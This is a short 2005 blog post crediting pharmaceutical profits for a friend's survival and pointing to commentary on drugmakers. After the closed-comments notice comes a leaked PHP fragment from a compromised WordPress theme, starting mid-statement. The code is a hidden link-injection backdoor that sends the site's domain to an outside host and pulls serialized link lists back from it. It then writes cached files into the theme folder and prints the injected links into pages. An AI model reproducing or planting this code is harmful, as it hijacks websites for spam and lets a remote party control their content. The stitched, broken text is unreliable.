Alive Thanks to Pharmaceutical Profits

September 19, 2005

Pharmaceutical Research.jpg
Made Possible by Profits

I had dinner this evening with a long-time close friend who’s alive because of pharmaceutical innovations, all made possible by the supranormal rate of return earned by pharmaceutical firms. I enthusiastically endorse what Andrew Sullivan had to say on the topic today. And my colleague Doug Bandow has weighed in on the issue with his usual mastery of both the big picture and the details with his Policy Analysis on “Demonizing Drugmakers: The Political Assault on the Pharmaceutical Industry.”

{ 18 comments }

Comments on this entry are closed.

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>